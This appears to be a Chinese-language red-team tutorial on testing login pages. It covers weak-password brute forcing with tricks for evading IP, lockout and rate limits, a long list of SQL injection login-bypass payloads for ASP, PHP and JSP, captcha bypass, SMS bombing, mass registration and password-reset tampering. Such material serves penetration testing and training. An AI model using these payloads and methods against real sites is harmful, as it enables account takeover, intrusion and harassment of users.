目录
登陆页面的漏洞一般都是逻辑漏洞,所以拿扫描工具找出漏洞相对比较困难,需要自己手测。登陆页面是红队获得系统权限的第一步。如果仔细挖掘是可以有很大的收获的。
这篇文章分享一下登陆页面漏洞挖掘的思路,一般一个登陆页面的主要功能分为账号密码、验证码、找回密码、注册新用户四个主要的功能模块,所以我们在测试的时候也可以根据这四个模块进行分析。思维导图如下图所示:
账号密码
1、账号密码弱口令
比如admin/123456等,在发现一个登陆页面的时候可以尝试一下弱口令,运气好的话也是可以顺利进去的。可以利用自己平时搜集的一些常见的账号密码进行手工尝试或者利用工具爆破。
字典可以自己构造,也可以参考github上一些经典字典库
https://github.com/TheKingOfDuck/fuzzDicts.git
限制IP爆破
如果界面出现限制ip的操作,我们需要新建代理池,然后使用python调用爆破池来进行爆破
限制密码错误次数
有些网站管理员会限制某个账号的登录次数,如果超过限制次数,账号就会被锁定,除非管理员解锁或者设定一段时间过后自动解锁。由于他限制了一个账号,比如只允许输入5次,但是不限制你换个账号又可以输错5次,对于这种情况,通常可以采用弱密码反过来爆破账户的方式,即设置任意的不超过爆破次数的弱密码数量来反过来爆破用户名。
限制登录频率爆破
限制登录频率爆破即限制在一定的时间内爆破的次数,比如10分钟内只允许爆破10次,对于这种方式
可以采用延时爆破的方式,但是可能需要时间比较久,但总比手工爆破舒服,在bp上如下文设置,该
时间以ms为单位(1000ms=1S)
密文传输爆破
渗透测试中,有时会遇到密码从客户端到服务端中间通过前端js代码将密码加密后,在发送给服务器,
所以这个时候,我们可以采用bp上自带的加密方法进行加密
常见的加密手法有MD5或者RSA,如果需要JS的复杂加密,也可以读懂JS的加密逻辑自定义Python进
行爆破,或者使用python的pyexecjs包来帮助你执行JS文件复现加密方法。
2、密码明文传输
这个应该算是一个低危漏洞,就是在bp中明文查询一下即可。
3、万能密码
主要通过猜测SQL的闭合方式及SQL语句的判断方式,通过构造新的SQL语句绕过原有的判断逻辑,以实现登录。
asp aspx万能密码
1:"or "a"="a
2:')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型万能登陆密码
用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin' or 'a'='a 密码随便
PHP万能密码
'or'='or'
'or 1=1/* 字符型 GPC是否开都可以使用
User: something
Pass: ' OR '1'='1
jsp 万能密码
1'or'1'='1
admin' OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1'or'1'='1
4、默认用户名密码
有些系统自带默认的万能密码,有些开发团队在项目完成后可能忘记删除,因此有可能留在系统中可以进行登录,可以通过搜索引擎等方式来进行搜索一些信息的泄漏。
验证码
1、万能验证码
万能验证码是企业中最常用的方式,有的公司内网不需要输入验证码,外网ip就需要输入验证。
如0000、8888等均有可能,需要根据框架进行搜索。
2、验证码绕过
验证码复用,即登录失败后验证码不刷新,仍然可以使用上一次登录时的验证码且有效,存在爆破风险漏洞,如织梦后台的验证码,测试方法如下,抓包后输入对的验证码后,反复发送查看回包
可以看到,没有出现验证码错误,出现的是用户名不存在,那么这里还出现一个点,用户名爆破,只要输入账号错误和密码错误回显不一样,就可以算成用户名可爆破漏洞
BP中可以使用相关模块进行操作:captcha-killer可以去github找。
3、验证码失效
存在接口问题,因为每个功能都会被设为不同的模块进行耦合,如果出现验证模块与功能没有没有通过接口关联上,此时2模块不存在如何关联,所以无论输入任何验证码(收到的验证码),都判对(出现几率小,多见于新、小网站)
4、验证码爆破
验证码可爆破,即验证码过于简单,例如验证码中字符数量过少,比如只有四位组成,且只
包含0-9的数字还没有干扰点,亦或者验证码可以被猜测到(这种情况很少见)
5、验证码缺失
和验证码失效类似,有些网站不需要验证码也可以通过。
6、邮箱/短信炸弹
短信轰炸是手机验证码漏洞中最常见的一种漏洞类型。在测试的过程中,对短信验证码接口进行重放,导致大量发送恶意短信
有两种情况,一种是完全没限制发短信的频率,另外一种是每60秒发一条短信。
情况一:没有限制时,任意下发短信时。直接放到Intruder中即可
情况二:有一定时间间隔,无限下发。
每隔60秒可下发一条短信,无限下发,短信轰炸。
在测试过程中,可通过编写Python脚本来计算短信下发时间间隔,实现短信轰炸。
用户注册
1、批量注册
脚本批量注册造成服务器dos应用层攻击,影响网站的正常使用,通常由于上边无验证码或者验证码不
安全导致可以写脚本来批量注册
2、个人信息伪造
若出现身份证信息注册,可任意构造绕过身份证与姓名任意填写
忘记密码
1、修改他人密码
登陆状态下修改自己的密码时,通过修改截获的数据包,将部分参数替换,从而偷龙换凤的将他人
的密码修改为自己指定的密码。
2、前端验证绕过
客户端验证是不安全的,可能导致任意账号注册、登录及重置任意用户密码等一系列问题
1. 直接返回明文验证码输入手机号后,点击获取验证码。按F12调出开发者工具,然后在网络中,监
听到两条json数据
2.返回加密后的密码验证加密后,加密报文在应答数据包中,返回客户端,用户解密后即可获取验证码。